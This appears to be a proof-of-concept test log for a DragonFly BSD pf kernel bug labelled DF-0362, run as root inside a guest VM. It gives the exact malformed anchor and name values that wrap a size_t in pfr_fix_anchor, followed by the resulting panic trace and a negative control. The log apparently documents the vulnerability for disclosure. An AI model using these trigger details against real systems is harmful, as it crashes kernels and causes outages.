============================================================
DF-0362 PoC — DECISIVE RUN (unpatched baseline kernel #0)
============================================================
Guest: DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026
       (X86_64_GENERIC, INVARIANTS ON)
Run as: root (uid 0) on /dev/pf (mode 0600 root:wheel)
Setup:  kldload pf ; sysctl debug.debugger_on_panic=0

$ /root/poc-0362
DF-0362: triggering pfr_fix_anchor size_t wrap via DIOCRGETTABLES...
  pfrt_anchor = 1024 '/' ; pfrt_name = {'/',0,...}; off will reach 1025
  siz - off = 1024 - 1025 wraps size_t -> bcopy(...,SIZE_MAX) -> panic

[ssh does not return; ssh RC=124 after 30s timeout — guest has panicked]

Serial (boot.log delta) immediately after:
---
panic: vm_fault: fault on stack guard, addr: 0xfffff8011795a000
cpuid = 1
Trace beginning at frame 0xfffff801183431e8
vm_fault() at vm_fault+0x12eb 0xffffffff8099ef9b 
vm_fault() at vm_fault+0x12eb 0xffffffff8099ef9b 
trap_phist() at trap_pfault+0x9a 0xffffffff80bd52ca 
trap() at trap+0x17c 0xffffffff80bd5bcc 
calltrap() at calltrap+0x9 0xffffffff80b991fa 
--- trap 000000000000000c, rip = ffffffff80bcab4f, rsp = fffff801183435f0, rbp = fffff80118343628 ---
memmove() at memmove+0x24f 0xffffffff80bcab4f 
pfr_get_tables() at pfr_get_tables+0x31 0xffffffff8262a681 
boot() called on cpu#1
Uptime: 3m58s
Dumping 559 MB: ... Dump complete
---

NEGATIVE CONTROL (sanity check that the panic is THIS bug, not incidental):
  Same binary but with pfrio_esize left at 0 (memset) returns ENODEV
  from pf_ioctl.c:2433 *before* pfr_get_tables/pfr_fix_anchor is reached.
  Guest stays up, ioctl returns -1. No panic.
  => the panic is unambiguously caused by reaching pfr_fix_anchor with
     the malformed anchor/name pair, i.e. the DF-0362 primitive.

REPRODUCIBILITY: 3/3 runs as root caused the same panic+reboot.